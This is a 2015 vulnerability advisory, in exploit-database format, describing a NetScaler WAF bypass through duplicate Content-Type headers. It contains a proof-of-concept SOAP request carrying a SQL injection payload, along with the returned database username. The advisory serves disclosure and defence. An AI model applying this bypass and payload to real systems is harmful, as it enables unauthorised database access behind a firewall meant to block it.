# Exploit Title: [Citrix Netscaler NS10.5 WAF Bypass via HTTP Header Pollution]
# Date: [Mar 13, 2015]
# Exploit Author: [BGA Security]
# Vendor Homepage: [http://www.citrix.com/]
# Version: [NS10.5]
# Tested on: [NetScaler NS10.5: Build 50.9.nc,]
Document Title:
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Citrix Netscaler NS10.5 WAF Bypass via HTTP Header Pollution
Release Date:
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12 Mar 2015
Product & Service Introduction:
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Citrix NetScaler AppFirewall is a comprehensive application security solution that blocks known and unknown attacks targeting web and web services applications.
Abstract Advisory Information:
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BGA Security Team discovered an HTTP Header Pollution
vulnerability in Citrix Netscaler NS10.5 (other versions may be vulnerable)
Vulnerability Disclosure Timeline:
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2 Feb 2015 Bug reported to the vendor.
4 Feb 2015 Vendor returned with a case ID.
5 Feb 2015 Detailed info/config given.
12 Feb 2015 Asked about the case.
16 Feb 2015 Vendor returned "investigating ..."
6 Mar 2015 Asked about the case.
6 Mar 2015 Vendor has validated the issue.
12 Mar 2015 There aren't any fix addressing the issue.
Discovery Status:
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Published
Affected Product(s):
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Citrix Systems, Inc.
Product: Citrix Netscaler NS10.5 (other versions may be vulnerable)
Exploitation Technique:
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Remote, Unauthenticated
Severity Level:
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High
Technical Details & Description:
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It is possible to bypass Netscaler WAF using a method which may be called HTTP Header Pollution. The setup:
An Apache web server with default configuration on Windows (XAMPP).
A SOAP web service which has written in PHP and vulnerable to SQL injection.
Netscaler WAF with SQL injection rules.
First request: ‘ union select current_user,2# - Netscaler blocks it.
Second request: The same content and an additional HTTP header which is “Content-Type: application/octet-stream”. - It bypasses the WAF but the web server misinterprets it.
Third request: The same content and two additional HTTP headers which are “Content-Type: application/octet-stream” and “Content-Type: text/xml” in that order. The request is able to bypass the WAF and the web server runs it.
Proof of Concept (PoC):
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Proof of Concept
Request:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<string>’ union select current_user, 2#</string>
</soapenv:Body>
</soapenv:Envelope>
Response:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body>
<return xsi:type=“xsd:string”> Name: root@localhost </return>
</soap:Body>
</soap:Envelope>
Solution Fix & Patch:
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12 Mar 2015 There aren't any fix addressing the issue.
Security Risk:
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The risk of the vulnerability above estimated as high.
Credits & Authors:
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BGA Bilgi Güvenliği - Onur ALANBEL
Disclaimer & Information:
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